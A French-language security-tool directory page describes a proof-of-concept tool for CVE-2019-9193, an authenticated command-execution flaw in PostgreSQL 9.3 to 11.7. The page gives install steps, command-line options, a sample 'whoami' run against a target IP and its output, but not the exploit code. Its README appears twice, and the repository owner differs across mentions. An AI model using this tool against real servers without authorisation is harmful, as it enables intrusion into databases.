Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-9193 — Outil PoC conçu pour exploiter une vulnérabilité authentifiée d'exécution de code à distance (RCE) dans certaines versions de PostgreSQL (9.3 - 11.7) | Kitploit
Outils/GitHubGitHub/jhnhnck/cve-2019-9193
Analyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationSécurité des Bases de Données
GitHubjhnhnck/cve-2019-9193

CVE-2019-9193

Outil PoC conçu pour exploiter une vulnérabilité authentifiée d'exécution de code à distance (RCE) dans certaines versions de PostgreSQL (9.3 - 11.7)

Voir le dépôt
29il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

FR

GenPostgresRCEExploit est un outil PoC conçu pour exploiter une vulnérabilité d'exécution de code à distance (RCE) authentifiée dans certaines versions de PostgreSQL (9.3 - 11.7). Il permet aux utilisateurs authentifiés d'exécuter des commandes système sur un serveur de base de données PostgreSQL vulnérable à CVE-2019-9193.

Fonctionnalités

  • Exploitation de la RCE : Exécute des commandes système via une session PostgreSQL authentifiée.
  • Vérification de version : Vérifie la version du serveur PostgreSQL cible pour confirmer la présence d'une vulnérabilité.
  • Exécution de commandes : Permet l'exécution de commandes utilisateur sur le serveur s'il est vulnérable.
  • Gestion automatique des tables : Crée et supprime une table temporaire pour exécuter des commandes sans intervention manuelle.

Prérequis

  • Python 3.x
  • Bibliothèque Python PostgreSQL (psycopg2 via pip)

Installation

  1. Cloner le dépôt :
    git clone https://github.com/AxthonyV/CVE-2019-9193
    cd CVE-2019-9193
    
  2. Installer les dépendances avec uv :
    uv sync
    

Utilisation

python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"

Options

  • -i, --ip : adresse IP du serveur PostgreSQL (par défaut : 127.0.0.1)
  • -p, --port : port du serveur PostgreSQL (par défaut : 5432)
  • -d, --database : nom de la base de données PostgreSQL (par défaut : template1)
  • -U, --user : nom d'utilisateur pour se connecter au serveur PostgreSQL (par défaut : postgres)
  • -P, --password : mot de passe pour se connecter au serveur PostgreSQL (par défaut : postgres)
  • -c, ---command : commande système à exécuter sur le serveur
  • -t, --timeout : délai d'expiration de la connexion en secondes (par défaut : 10)

Exemple

python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"

Cet exemple se connecte au serveur PostgreSQL à l'adresse 192.168.1.10, s'authentifie avec les identifiants fournis et exécute la commande whoami.

Exemple de sortie

$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"

[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed

postgres

Avertissement

Cet outil est destiné uniquement à des fins éducatives et à des tests éthiques. L'utilisation non autorisée de cet outil contre tout système est illégale et strictement interdite. Les auteurs déclinent toute responsabilité en cas de mauvaise utilisation.

RU

GenPostgresRCEExploit est un exploit PoC conçu pour exploiter une vulnérabilité d'exécution de code à distance (RCE) dans certaines versions de PostgreSQL (9.3 - 11.7). Le programme permet aux utilisateurs authentifiés d'exécuter des commandes système sur un serveur PostgreSQL vulnérable à CVE-2019-9193.

Fonctionnalités

  • Exploit RCE : Exécuter des commandes système via une connexion authentifiée à PostgreSQL.
  • Vérification de version : Vérifie la version du serveur PostgreSQL cible pour détecter les vulnérabilités.
  • Exécution de commandes : Permet l'exécution de commandes arbitraires sur le serveur en présence d'une vulnérabilité.
  • Gestion de table : Crée et supprime automatiquement une table temporaire pour l'exécution des commandes.

Prérequis

  • Python 3.x
  • Bibliothèque cliente PostgreSQL (paquet psycopg2)

Installation

  1. Cloner le dépôt :
    git clone https://github.com/geniuszly/CVE-2019-9193
    cd CVE-2019-9193
    
  2. Installer les dépendances avec uv :
    uv sync
    

Utilisation

python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"

Options

  • -i, --ip : adresse IP du serveur PostgreSQL (par défaut : 127.0.0.1)
  • -p, --port : port du serveur PostgreSQL (par défaut : 5432)
  • -d, --database : nom de la base de données PostgreSQL (par défaut : template1)
  • -U, --user : nom d'utilisateur pour se connecter au serveur PostgreSQL (par défaut : postgres)
  • -P, --password : mot de passe pour se connecter au serveur PostgreSQL (par défaut : postgres)
  • -c, --command : commande système à exécuter sur le serveur
  • -t, --timeout : délai d'expiration de la connexion en secondes (par défaut : 10)

Exemple

python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"

Dans cet exemple, le programme se connecte au serveur PostgreSQL à l'adresse 192.168.1.10, s'authentifie avec les identifiants spécifiés et exécute la commande whoami.

Exemple de sortie

$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"

[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed

postgres

Avertissement

Cet outil est destiné à des fins éducatives et à des tests légaux uniquement. L'utilisation non autorisée de cet outil contre tout système est illégale et strictement interdite. Les auteurs ne sont pas responsables de tout usage abusif.

Télécharger l’outil